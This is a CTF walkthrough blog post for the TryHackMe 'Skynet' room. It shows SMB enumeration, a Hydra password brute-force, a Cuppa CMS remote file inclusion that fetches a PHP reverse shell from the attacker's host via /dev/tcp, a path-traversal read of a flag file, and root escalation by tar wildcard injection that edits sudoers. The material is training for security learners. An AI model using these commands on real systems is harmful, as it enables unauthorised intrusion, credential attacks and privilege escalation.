> ## Content Index > Fetch the complete content index at: https://taiwanding.com/llms.txt > Use this file to discover other available public pages before exploring further. # TryHackMe Skynet Writeup: SMB, Cuppa CMS RFI & Tar Wildcard Injection - URL: https://taiwanding.com/en/tryhackme-skynet-writeup/ - Published: 2025-09-19T09:40:47.000Z - Updated: 2026-07-15T02:50:38.000Z - Author: Kevin Chen - Tags: #en, #en-ctf ## Room Information - **Platform**: TryHackMe - **Room name**: Skynet - **Difficulty**: Easy - **Goal**: Ultimately capture user.txt and root.txt, with plenty of fun stages in between - **Theme**: Terminator movie theme - **Link**: https://tryhackme.com/room/skynet ## Discovered Services - **Port 22**: SSH - **Port 80**: HTTP - **Port 110**: POP3 - **Port 139/445**: SMB (Samba 4.3.11) - **Port 143**: IMAP ## Step 1: SMB Enumeration Enumerate the SMB shares and find anonymous access: ```bash smbclient -L //10.10.197.181 enum4linux 10.10.197.181 ``` Connect to the anonymous share: ```bash smbclient //10.10.197.181/anonymous smb: \> ls smb: \> cd logs smb: \> get log1.txt ``` Key findings: - `log1.txt` \- a password list - `attention.txt` \- mentions the user milesdyson ## Step 2: Web Directory Enumeration Scan the website directories: ```bash gobuster dir -u http://10.10.197.181/ -w /usr/share/seclists/Discovery/Web-Content/common.txt ``` Found the `/squirrelmail` webmail login page. ## Step 3: Cracking SquirrelMail Use the username milesdyson for the account. Crack it with the password list log1.txt we found earlier: ```bash hydra -l milesdyson -P log1.txt 10.10.197.181 http-post-form \ "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:incorrect" ``` After logging in successfully, I found the SMB password in one of the emails: \`)s{A&2Z=F^n\_E.B\`\` ## Step 4: Accessing the Personal SMB Share Connect to the milesdyson share with the new password: ```bash smbclient //10.10.197.181/milesdyson -U milesdyson # Password: )s{A&2Z=F^n_E.B` smb: \> cd notes smb: \> get important.txt ``` The contents of `important.txt` reveal a hidden path: ``` 1. Add features to beta CMS /45kra24zxs28v3yd ``` ## Step 5: Discovering Cuppa CMS Recursively scan the hidden path: ```bash gobuster dir -u http://10.10.197.181/45kra24zxs28v3yd/ \ -w /usr/share/wordlists/dirb/common.txt ``` Found `/administrator` \- the Cuppa CMS login interface. ## Step 6: Exploiting the RFI Vulnerability Cuppa CMS has a Remote File Inclusion vulnerability: ```bash └─$ searchsploit cuppa Cuppa CMS - /alertConfigField.php' Local/Remote File Inclusion php/webapps/25971.txt ``` Prepare a simple PHP shell: ```bash echo '& /dev/tcp/YOUR_IP/4444 0>&1\""); ?>' > shell.php python3 -m http.server 8000 ``` Set up a listener and trigger it: ```bash nc -lvnp 4444 # Trigger the RFI in the browser http://10.10.197.181/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://YOUR_IP:8000/shell.php ``` Successfully obtained a www-data shell. ## Step 7: Getting the User Flag ```bash www-data@skynet:~$ cat /home/milesdyson/user.txt <7ce5c2109aRedacted3600a9ae807> ``` ## Step 8: Finding the Privilege Escalation Vector Check the cronjob: ```bash www-data@skynet:~$ cat /etc/crontab */1 * * * * root /home/milesdyson/backups/backup.sh ``` Check backup.sh: ```bash www-data@skynet:~$ cat /home/milesdyson/backups/backup.sh #!/bin/bash cd /var/www/html tar cf /home/milesdyson/backups/backup.tgz * ``` Notice it uses `tar *` \- there's an **Injection** vulnerability! ## Step 9: Tar Wildcard Injection Privilege Escalation Abuse tar argument injection to modify sudoers: ```bash cd /var/www/html # Create a malicious script echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > shell.sh chmod +x shell.sh # Create files that will be interpreted as tar arguments touch "./--checkpoint=1" touch "./--checkpoint-action=exec=sh shell.sh" ``` After waiting a minute (for the cronjob to run): ```bash www-data@skynet:~$ sudo -l # Confirm we have NOPASSWD privileges www-data@skynet:~$ sudo su root@skynet:~# whoami root ``` ## Step 10: Getting the Root Flag ```bash root@skynet:~# cat /root/root.txt 3f0372db24Redacted82cd6a949 ``` ## Key Takeaways 1. **SMB Information Disclosure** - The anonymous share is publicly accessible and leaks a password list 2. **Chaining Services Together** - SMB → SquirrelMail → Personal Share → hidden path - Each service becomes the stepping stone to the next 3. **Cuppa CMS RFI Vulnerability** - The unfiltered `urlConfig` parameter allows including remote files - You can directly execute PHP code to get a shell ## Lessons Learned ### How Tar Wildcard Injection Works #### The Problem: 1. The script uses `tar cf backup.tgz *` 2. `*` gets expanded by the shell into **every filename** 3. Tar treats certain filenames as **arguments** rather than files! #### The Attack: When we create a file named `--checkpoint=1`: bash ```bash touch "./--checkpoint=1" touch "./--checkpoint-action=exec=sh shell.sh" ``` After the shell expands `*`, the command becomes: bash ```bash tar cf backup.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh [other files...] ``` Tar treats the filenames starting with `--checkpoint` as **command arguments**! #### Parameter Breakdown: - `--checkpoint=1`: run the action once for every 1 file processed - `--checkpoint-action=exec=sh shell.sh`: execute the `sh shell.sh` command So this privilege escalation works by combining the shell's `*` expansion behavior with tar treating filenames as arguments. ### About Step 1: It seems obvious to check SMB in this step, but I actually started by researching SquirrelMail vulnerabilities first, since SquirrelMail also has a classic LFI vulnerability. After trying it and finding it didn't work, I turned to SMB instead. ### About Step 6: Once you have RFI, you can actually grab the user flag right at this step — give it a try. Since we already know where the user flag is, see if you can figure out how to use RFI to capture it. Check the solution below. ```bash http://10.201.125.91/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../home/milesdyson/user.txt ``` ### About Step 8: There are many privilege escalation methods. Beyond simply brute-forcing with linpeas.sh, here are a few approaches I've come across: 1\. **SUID/SGID Binaries** ```bash # Find SUID files find / -perm -4000 -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null # Find SGID files find / -perm -2000 -type f 2>/dev/null find / -perm -g=s -type f 2>/dev/null # Find both SUID and SGID at once find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null ``` 2\. Sudo Permission Configuration ```bash # Check the current user's sudo privileges sudo -l # View the sudoers file (if you have permission) cat /etc/sudoers ls -la /etc/sudoers.d/ ``` 3\. **Scheduled Tasks (Cron Jobs), as in this room** ```bash # System level cat /etc/crontab ls -la /etc/cron.* cat /etc/cron.d/* ``` 4\. **Writable Important Files/Directories** 5\. **Kernel and System Information** 6\. **Searching for Sensitive Information** ```bash # Passwords in config files # SSH private keys # Database configuration ```